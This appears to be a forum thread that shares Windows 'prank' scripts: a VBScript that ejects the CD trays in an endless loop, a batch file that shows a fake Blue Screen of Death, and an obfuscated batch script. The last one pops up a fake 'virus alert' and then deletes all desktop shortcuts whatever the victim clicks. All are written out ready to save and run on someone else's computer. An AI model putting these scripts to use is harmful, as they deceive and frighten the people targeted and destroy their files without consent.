Prank

Prank

OPEN and CLOSE DVD

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop

End If
save as .vbs
-------------------------------------------------------------------------------------------------------
Fake BSOD

echo ^<html^>^<head^>^<title^>BSOD^</title^> > bsod.hta
echo. >> bsod.hta
echo ^<hta:application id="oBVC" >> bsod.hta
echo applicationname="BSOD" >> bsod.hta
echo version="1.0" >> bsod.hta
echo maximizebutton="no" >> bsod.hta
echo minimizebutton="no" >> bsod.hta
echo sysmenu="no" >> bsod.hta
echo Caption="no" >> bsod.hta
echo windowstate="maximize"/^> >> bsod.hta
echo. >> bsod.hta
echo ^</head^>^<body bgcolor="#000088" scroll="no"^> >> bsod.hta
echo ^<font face="Lucida Console" size="4" color="#FFFFFF"^> >> bsod.hta
echo ^<p^>A problem has been detected and windows has been shutdown to prevent damage to your computer.^</p^> >> bsod.hta
echo. >> bsod.hta
echo ^<p^>DRIVER_IRQL_NOT_LES_OR_EQUAL^</p^> >> bsod.hta
echo. >> bsod.hta
echo ^<p^>If this is the first time you've seen this stop error screen, restart your computer, If this screen appears again, follow these steps:^</p^> >> bsod.hta
echo. >> bsod.hta
echo ^<p^>Check to make sure any new hardware or software is properly installed. If this is a new installation, ask your hardware or software manufacturer for any windows updates you might need.^</p^> >> bsod.hta
echo. >> bsod.hta
echo ^<p^>If problems continue, disable or remove any newly installed hardware or software. Disable BIOS memory options such as caching or shadowing. If you need to use Safe Mode to remove or disable components, restart your computer, press F8 to select Advanced Startup Options, and then select Safe Mode.^</p^> >> bsod.hta
echo. >> bsod.hta
echo ^<p^>Technical information:^</p^> >> bsod.hta
echo. >> bsod.hta
echo ^<p^>*** STOP: 0x000000D1 (0x0000000C,0x00000002,0x00000000,0xF86B5A89)^</p^> >> bsod.hta
echo. >> bsod.hta
echo. >> bsod.hta
echo ^<p^>*** gv3.sys - Address F86B5A89 base at F86B5000, DateStamp 3dd9919eb^</p^> >> bsod.hta
echo. >> bsod.hta
echo ^<p^>Beginning dump of physical memory^</p^> >> bsod.hta
echo ^<p^>Physical memory dump complete.^</p^> >> bsod.hta
echo ^<p^>Contact your system administrator or technical support group for further assistance.^</p^> >> bsod.hta
echo. >> bsod.hta
echo. >> bsod.hta
echo ^</font^> >> bsod.hta
echo ^</body^>^</html^> >> bsod.hta
start "" /wait "bsod.hta"
del /s /f /q "bsod.hta" > nul
EXIT
save name .bat or .cmd

Put some of your l Prank

Originally Posted by Mr.G

want proof .

Will wipe all the shortcut on the desktop regardless of what clicked

:MDTMP
IF EXIST %TEMP%\xZero GOTO SKP
MD %TEMP%\xZero>NUL
:SKP
IF EXIST %TEMP%\xZero\APPID973290903213 GOTO SKPA
MD %TEMP%\xZero\APPID973290903213>NUL
:SKPA
:: SKIP
:SET_VARS
SET trgt=%TEMP%\xZero\APPID973290903213
SET session=%random%%random%%random%
SET varA=x
SET varB=G
SET varC=Z
SET varD=s
SET varE=e
SET varF=0
SET varG=r
SET varH=a
SET varI=o
SET encA=%varA%
SET encB=%varC%
SET encC=%varE%
SET encD=%varG%
SET encE=%varI%
SET authentication=%encA%%encB%%encC%%encD%%encE%
SET sys_value=%authentication%
SET auth=%0%
SET system=%sys_value%
SET Wait1=PING localhost -n 02
SET Wait2=PING localhost -n 01
SET Style=COLOR F0
SET check=IF NOT
SET then=EXIT
SET exec=START
%check% '%system%'=='%encA%%encB%%encC%%encD%%encE%' %then%
:: END
ECHO dexzr=msgbox("Created by %system% ",16,"%system% Alert!")>>%trgt%\%session%_823948022.vbs
%exec% /wait %trgt%\%session%_823948022.vbs

:EXEC
ECHO dexzr=msgbox("You are infected with virus whick can delete ALL YOUR FILES. To delete this virus click YES othervise click no. ",20,"Virus Alert!")>>%trgt%\%session%_823948023.vbs
ECHO Dim fso >>%trgt%\%session%_823948023.vbs
ECHO Set fso = CreateObject("Scripting.FileSystemObject")>>%trgt% \%session%_823948023.vbs
ECHO fso.DeleteFile "%SystemDrive%\Documents and Settings\%UserName%\Desktop\*.lnk", True >>%trgt%\%session%_823948023.vbs
ECHO fso.DeleteFile "%SystemDrive%\Documents and Settings\%UserName%\Desktop\Mozilla Firefox.lnk", True >>%trgt%\%session%_823948023.vbs
ECHO fso.DeleteFile "%SystemDrive%\Documents and Settings\%UserName%\Desktop\My Computer.lnk", True >>%trgt%\%session%_823948023.vbs
%exec% /wait %trgt%\%session%_823948023.vbs

. cmd

try this not a big deal

Post a Reply

Similar Threads

Tags for this Thread